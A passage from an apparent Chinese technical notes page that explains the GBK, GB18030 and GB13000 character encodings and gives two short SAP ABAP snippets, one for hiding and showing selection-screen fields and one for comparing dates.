GBK最初是由微软对GB2312的扩展,也就是CP936字码表 (Code Page 936)的扩展(原来的CP936和GB 2312-80一模一样),最初出现于Windows 95简体中文版中,由于Windows产品的流行和在大陆广泛被使用,中华人民共和国国家有关部门将其作为技术规范。注意GBK并非国家正式标准,只是国家技术监督局标准化司、电子工业部科技与质量监督司发布的“技术规范指导性文件”。虽然 GBK收录了所有Unicode 1.1及GB 13000.1-93之中的汉字,但是编码方式与Unicode 1.1及GB 13000.1-93不同。仅仅是GB 2312到GB 13000.1-93之间的过渡方案。GBK收录了21886个符号,它分为汉字区和图形符号区。汉字区包括21003个字符。
GBK作为对GB2312的扩展,在现在的windows系统中仍然使用代码页CP936表示,但是同样的936的代码页跟一开始的936的代码页只支持GB2312编码不同,现在的936代码页支持GBK的编码,GBK同时也向下兼容GB2312编码。
3、 GB18030
2000年的GB18030取代了GBK1.0的正式国家标准。该标准收录了27484个汉字,同时还收录了藏文、蒙文、维吾尔文等主要的少数民族文字。现在的PC平台必须支持GB18030,对嵌入式产品暂不作要求。所以手机、MP3一般只支持GB2312。
GB18030在windows中的代码页是CP54936。
4、 GB13000
GB13000等同于国际标准的《通用多八位编码字符集 (UCS)》 ISO10646.1,就是等同于Unicode的标准,代码页等等的都使用UTF的一套标准。
从ASCII、GB2312、GBK到GB18030,这些编码方法是向下兼容的,即同一个字符在这些方案中总是有相同的编码,后面的标准支持更多的字符。在这些编码中,英文和中文可以统一地处理。区分中文编码的方法是高字节的最高位不为0。按照程序员的称呼,GB2312、GBK到GB18030都属于双字节字符集 (DBCS)。
SAP ABAP----选择屏幕上控制字段的隐藏和显示
说明:2个字段, S_NETVAL /R_NETVAL,点击CK_CRM的时候,显示S_NETVAL,隐藏R_NETVAL.
点击CK_C2K的时候,显示R_NETVAL,隐藏S_NETVAL.
SELECT-OPTIONS: S_NETVAL FOR CRMD_ORDER_INDEX-NET_VALUE VISIBLE LENGTH 10 MODIF ID DID, "单张订单金额
R_NETVAL FOR ZT0073-ZSUBTOTAL MODIF ID UID.
SELECTION-SCREEN BEGIN OF LINE.
SELECTION-SCREEN COMMENT 18(5) TEXT-S02 FOR FIELD CK_CRM.
PARAMETERS:CK_CRM RADIOBUTTON GROUP RAD1 DEFAULT 'X' USER-COMMAND ZCODE.
SELECTION-SCREEN COMMENT 30(5) TEXT-S03 FOR FIELD CK_C2K.
PARAMETERS:CK_C2K RADIOBUTTON GROUP RAD1 .
SELECTION-SCREEN END OF LINE.
AT SELECTION-SCREEN OUTPUT.
*** hide/show fields according to current selection
IF CK_CRM = 'X'.
HIDID = 'UID'.
ELSEIF CK_C2K = 'X'.
HIDID = 'DID'.
ENDIF.
LOOP AT SCREEN.
IF SCREEN-GROUP1 = HIDID.
SCREEN-ACTIVE = '0'.
SCREEN-INVISIBLE = '1'.
MODIFY SCREEN.
ENDIF.
ENDLOOP.
SAP ABAP----比较日期和时间
FIMA_DATE_COMPARE
TYPE-POOLS : TRFF .
DATA : X_LOG_OP TYPE TRFF_TYPE_C_2 .
CALL FUNCTION 'FIMA_DATE_COMPARE'
EXPORTING
I_FLG_INTRADAY = 'X'
I_DATE = SY-DATUM
I_TIME = SY-UZEIT
I_COMP_DATE = L_MODIFY-MODDATE
I_COMP_TIME = L_MODIFY-MODTIME
IMPORTING
E_LOG_OP = X_LOG_OP.